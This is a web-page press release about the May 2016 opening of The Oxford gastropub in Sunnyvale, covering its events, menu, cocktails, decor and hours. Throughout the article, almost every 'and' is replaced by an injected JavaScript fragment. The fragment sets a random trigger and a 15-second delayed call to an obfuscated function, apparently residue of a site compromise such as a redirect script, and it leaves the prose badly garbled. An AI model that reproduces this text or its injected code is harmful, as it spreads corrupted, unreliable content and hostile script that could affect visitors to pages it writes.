Image of bar counter at the Oxford in Sunnyvale

THE OXFORD GASTROPUB OPENS TODAY IN SILICON VALLEY

May 25th, 2016 Posted by Press 0 thoughts on “THE OXFORD GASTROPUB OPENS TODAY IN SILICON VALLEY”

THE OXFORD GASTROPUB OPENS TODAY IN SILICON VALLEY

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Image of bar counter at the Oxford in Sunnyvale

On historic Murphy Avenue in Sunnyvale, London is calling. The exciting new gastropub, The Oxford, has opened downtown, serving sophisticated food andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and drink inspired by the eclectic, energetic verve of the streets of London.

GRAND OPENING – ‘’GARDEN IN A GLASS”

The grandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and opening kicks off 11 a.m. to 1 p.m. May 7 with “Garden in a Glass,” when folks are invited to bring in their fruits, vegetables andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and fresh herbs from the Farmers Market to the The Oxford’s bartender who will incorporate them into a distinctive cocktail – The sky is the limit! Enjoy a sugar snap pea Tom Collins to a cilantro andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and pepper tequila gimlet or old fashioned. Cocktails will be served with complimentary samplings from the restaurant’s menu. From 3 p.m. to 5 p.m., The Oxford will be pouring wine at the Magic of Sunnyvale & Wine Stroll on Murphy Avenue followed by an official ribbon cutting at the restaurant at 5 p.m. with cocktails, appetizers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and live music.

The celebration continues on Mother’s Day, May 8, with a special brunch, 11 a.m. to 2:30 p.m.; a classic afternoon tea, 3:30 p.m. to 4:30 p.m. (one seating, reservations required); andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and a Sunday Supper Roast, 5:30 p.m. to 8:30 p.m. (reservations required).

GASTROPUB IN SILICON VALLEY

The modern-day pub features an expansive bar, wood wainscoting, vintage-style caged Edison lights, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and classic white subway tiles in homage to the London Underground. The colorful wall art pays tribute to London’s most famed cultural touchstones, including the Beatles, the Clash, Princess Diana, Beefeaters, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Big Ben.

The playful dishes — sized from bites (“small fellows’’) to mains (“big fellows’’) — emphasize California sensibilities with the use of local, seasonal andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and often organic ingredients from Zuckerman’s Farm, Iacopi Farms, Panorama Baking Company, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Mary’s Chicken.

The international flavors of the streets of London come alive in dishes such as falafel sliders with mint tahini yogurt ($10); roasted chickpea hummus topped with lamb kabob ($11); grilled cheddar cheese on Panorama sourdough slathered with red onion jam ($12); beer-battered fish andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and chips with pickled ramp tartar sauce ($14); andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the Oxford burger with house-made pickles ($15). Desserts include an English-style, bruleed brioche bread pudding with brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andy-soaked raisins, almonds andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and cherry ice cream ($7).

The Oxford Gastropub

CLASSIC & CONTEMPORARY COCKTAILS
CRAFT BEERS ~ BOUTIQUE WINES

Both classic andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and contemporary cocktails are spotlighted, including originals such as the Yamato Sling #3 ($8), made with Broker’s Gin, sake, Vanilla-Ceylon Elixir Green Tea, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Blackstrap Bitters; andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and The Bluejay ($9), a unique blend of Mexican lager, Fidencio Classico Mezcal, grapefruit, lime andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Bittercube Jamaican #2 Bitters. In a nod to London’s long love affair with this botanical spirit, The Oxford also boasts seven gin cocktails. A range of wines, including nine by the glass, also are offered, along with 24 beers, including half a dozen on tap.

LEADERSHIP, OUTDOOR PATIO & MORE
 
Managing Partner Rahul Nair, formerly of the Michelin two-starred Campton Place in San Francisco, oversees the 100-seat, family-friendly dining room that’s the perfect place for a quick bite or a leisurely meal. The 40-seat patio is especially pooch-accommodating, complete with house-made dog treats that can be ordered.

Located at 195 S. Murphy Ave. The Oxford is open for dinner Monday through Thursday from 4:30 p.m. to 10 p.m.; andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Friday andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Saturday from 4:30 p.m. to midnight. Parking is available on the street andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and in a free lot behind the restaurant.

For more information, visit www.theoxfordca.com,https://www.facebook.com/TheOxfordSunnyvale, Twitter, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Instagram or call 408.245.8503.

BAGPIPES, ANYONE?

To the thrill of party goers (andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and passersby) The Oxford’s Opening Party featured bagpipers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and drummers in full Scottish kilts, playing a mini concert inside andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and then spontaneously performing in the street.

 

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